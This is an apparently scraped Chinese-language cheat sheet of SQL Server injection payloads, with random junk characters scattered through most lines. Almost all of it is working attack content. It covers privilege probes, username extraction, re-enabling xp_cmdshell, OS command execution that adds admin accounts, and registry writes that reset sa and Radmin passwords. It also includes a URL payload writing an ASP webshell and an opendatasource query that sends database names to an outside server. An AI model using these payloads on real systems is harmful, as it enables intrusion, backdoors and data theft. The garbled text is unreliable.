//看看是什么权限的+ |: L# |+ n+ k+ d1 H
and 1=(Select IS_MEMBER('db_owner'))
! j5 X/ m( x1 E" X, SAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
+ k6 c# r7 Q$ q4 r j. u: l0 S1 f# h" Z" u$ d4 ]: Q8 C( A
//检测是否有读取某数据库的权限, p8 w$ \0 F" j3 S7 o6 q
and 1= (Select HAS_DBACCESS('master')). Z% V5 | A1 N7 F9 G8 M$ @
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
" k1 B4 i; S/ ?0 B" Z5 |
. ~7 @* W' _8 X- C
: c- Q) ~; f K8 r2 D8 m% v& ^3 e6 ]数字类型: l8 m6 Y* U! ~; B3 k- ?# D8 R
and char(124)%2Buser%2Bchar(124)=06 N/ B+ B+ Q$ ~- \" k1 u5 ]
9 o. i& i& x) Z: _( O
字符类型
8 j$ v, J, k: v' and char(124)%2Buser%2Bchar(124)=0 and ''='
. ~# p' e* J" U: O
L+ a1 i5 Y* O V搜索类型
% y* ?5 J7 E3 P q' and char(124)%2Buser%2Bchar(124)=0 and '%'='
4 A& {/ Y, a5 o. S. M. n1 N: m9 d) n. c* ]2 S# x5 F, j0 i. m
爆用户名6 Y& Q w, K) i0 S& z% t
and user>0
- c( t8 {$ L: N' and user>0 and ''='
$ E7 P: i7 }7 M* x4 S, ^" ~' l% d& J/ p# D1 M* s1 Z9 U
检测是否为SA权限% [) p8 H, Q4 S7 v% B5 _, R
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--9 Z8 F- y1 }% F9 @6 \+ h. Q$ V
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --2 H- c: P8 X, R7 G7 R+ n2 n
: Q, q" _( A/ s9 Z
检测是不是MSSQL数据库
* H5 D+ M: z1 Land exists (select * from sysobjects);--0 v& R9 c+ L+ z9 p; R: j$ H1 t; d
* u: b0 j0 g/ W
检测是否支持多行
$ L( J3 X3 I6 T" s& \" Z( |;declare @d int;--% K2 a( T' |& }. [" x
# z9 F7 k$ v( S X9 L ^6 W
恢复 xp_cmdshell8 P: B: O, ?! D1 v
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--2 a! i+ `0 F0 O: @
8 b3 `( B8 b% R: m' H' Z: D, q
7 ^+ U G; G( n( @$ a3 a% N
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')8 r* F5 n3 }0 f$ l
. R% e9 X& d" |9 }* i
//-----------------------* r0 a) l9 r% ]$ {
// 执行命令- y4 D) ]8 c, n0 p
//-----------------------, S* c+ j! Z$ j/ i% Y3 C
首先开启沙盘模式:2 D7 A% y5 K- R3 t/ v
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 o4 F) U2 e0 Q9 t3 ?! ]3 n0 S: g7 y: z+ E8 f6 b
然后利用jet.oledb执行系统命令9 u9 d: _2 q; P2 C
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
9 ~3 r3 u" _% z3 M, y, H. `/ a V& |7 f2 w
执行命令
; @ m8 d8 ~4 r; D" ^* H0 ?5 N. ^;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
/ p) p- m6 D* h7 j! W( g) J, {, v: a; ?; |: m' L2 f
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
. v+ U( I/ Q/ I9 K8 U7 L- M \! @4 u1 f+ @3 V0 S6 g4 y
判断xp_cmdshell扩展存储过程是否存在:
! y( _/ S( z4 {% @, @http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')$ ^" V. K- ~, o* h6 I
% }$ ?: g& A; }4 p8 c* @写注册表
# {; |/ I' b8 jexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 l; I$ Q# j9 p U
$ L0 d/ S/ i9 R* a6 [; K6 D6 yREG_SZ! ~' O1 |7 x9 J! z% b& b% P0 u
: M, _! z4 q, u$ P读注册表
: c$ e+ W; S8 I7 g, P" G* t) w7 c: w" Aexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
) C+ D/ F! h N. }- y
0 H- Q6 h$ `5 I1 T* g& ^读取目录内容
: ]/ k$ M, N/ ]. z) Y0 e1 uexec master..xp_dirtree 'c:\winnt\system32\',1,1* C/ n7 b7 ~3 d8 o
. h) L8 ^. q( b! E+ N
3 L# m+ E( ~/ W* m数据库备份
' Z/ w& ^. m7 \8 r- |( S Rbackup database pubs to disk = 'c:\123.bak'8 N5 y/ q8 t% @8 [- b5 R
8 a' d# z* k: ?, I8 q
//爆出长度
" _5 X+ u0 V) J% ] q) ^ jAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
8 y( K1 t3 _9 [8 h; l8 _
: D1 v3 M( H" i: @" f9 }
' H# t( j r5 V: X0 a* i0 G8 A9 W' ^! T& s, ]/ C0 l0 |
更改sa口令方法:用sql综合利用工具连接后,执行命令:; E; A g) n' L7 p& ~
exec sp_password NULL,'新密码','sa'
! z# T1 F& M$ ^& N2 H0 ?- |. u' p- u8 q2 [# m; z- s
添加和删除一个SA权限的用户test:
/ |8 j' s/ M" X: p% ?- X( Fexec master.dbo.sp_addlogin test,9530772
" l6 B4 V. \6 m/ \6 kexec master.dbo.sp_addsrvrolemember test,sysadmin; X. r1 o. ~& c) _$ D1 e% C
: `: X8 e9 \$ B
删除扩展存储过过程xp_cmdshell的语句:
+ E; a. Z1 \9 |0 t$ T' jexec sp_dropextendedproc 'xp_cmdshell'
5 u+ ]4 C1 `! ~8 q: z+ |' }
! B- a+ u% c$ t o I2 ?添加扩展存储过过程$ W9 Y7 \& a! [" Y0 f" q
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
" }2 a( D: f% X1 q/ m* R+ EGRANT exec On xp_proxiedadata TO public0 N% N, b; g8 f1 |3 j" m
$ m B+ D) d J/ w; }9 d
. l$ M1 ?5 |6 ~* N& B- G% G9 O" i停掉或激活某个服务。1 n( }, H+ U' d/ K( e& V
! Q* \) d6 t0 ^9 h4 B2 _. b. j
exec master..xp_servicecontrol 'stop','schedule'
: O1 _, U7 _& y& Xexec master..xp_servicecontrol 'start','schedule') t- w0 H8 F$ L$ `
. |3 ]( H3 o3 s% s6 Jdbo.xp_subdirs
; E; H! o2 W3 V- H! ?
% T3 T( K+ R2 K! {只列某个目录下的子目录。
* s K: G' Q4 u9 G0 l, Mxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'5 o; ?( o) \1 M' {. G
4 \2 o3 |! N& jdbo.xp_makecab
6 ~( f9 Z" i+ Q; `& e
' w/ K" y/ |/ S8 o( `! ]将目标多个档案压缩到某个目标档案之内。
0 V8 m4 u4 \, m所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
: |. N; u6 \! b H5 ~) Q. Y1 h! ^1 l$ g' Z' R. Z
dbo.xp_makecab
E& m0 h9 W2 c$ N/ {'c:\test.cab','mszip',1,$ H. j- S9 N5 ~
'C:\Inetpub\wwwroot\SQLInject\login.asp',
_+ ^. x$ h4 q3 G Q'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'6 J% u+ J! K- z' a+ F# o
. A& \6 I# ?; I, u# Nxp_terminate_process* B9 a/ p" H2 ?! T
& o1 J, t, |7 Q" o5 E停掉某个执行中的程序,但赋予的参数是 Process ID。0 _. z1 O r* c5 Q/ j8 I/ i8 m
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
, j7 b4 ?, X( Y$ o/ k( q$ I: Q
1 f7 a, z9 c7 q1 B# w$ Hxp_terminate_process 2484
0 o* ]: a' L* }1 } b) Z; D$ b- }( T) D
xp_unpackcab
% _6 v) n& l* [0 r g# q) ]6 Q3 ~! c/ _# A+ T9 N, u9 J4 C
解开压缩档。- q% ]* C$ M2 b0 N1 f6 i
6 q, p8 i+ L! L- w( R0 M
xp_unpackcab 'c:\test.cab','c:\temp',1
$ H' k0 n* M. Z9 I8 \0 H) P3 ?, g1 G* s6 `3 |- I8 `) R# E1 a* W1 U' m2 _
& x. T) F, a' s$ \- k1 M0 ?$ r某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
- m' k n ^ y$ O, b( K
6 a7 q7 J# O1 Q) Q" t! |; b) z' G4 Kcreate database lcx;
$ u3 T% _' U& OCreate TABLE ku(name nvarchar(256) null);: L. Y# G2 m) ]) L
Create TABLE biao(id int NULL,name nvarchar(256) null);, q8 L! C8 U, ?4 L6 q
( j+ f. y, @2 G0 f
//得到数据库名
4 t+ u2 m6 v7 P3 T" Z/ zinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
" A5 k) k% t- G* p' k
6 K, A6 Z: O# O3 `/ H9 G- v8 F) |' T/ W! D# k( j y
//在Master中创建表,看看权限怎样
3 I3 o# o, M7 b: y. P+ C0 hCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--7 a' b v" F" l, x6 p5 c6 @ V. n
9 D5 M9 C) I$ q: Q用 sp_makewebtask直接在web目录里写入一句话马:
1 A9 h2 C' F6 F: Yhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
; L K' f! G$ v4 w5 @
1 l. M: a& {4 o/ d' B6 {5 _//更新表内容
, I& l$ s& ?% g$ Y3 M) t; YUpdate films SET kind = 'Dramatic' Where id = 123
+ U# m" y7 h$ B1 m4 G9 K$ P) y( l6 x0 A7 U
//删除内容% X N) l2 }9 A p$ F
delete from table_name where Stockid = 3 |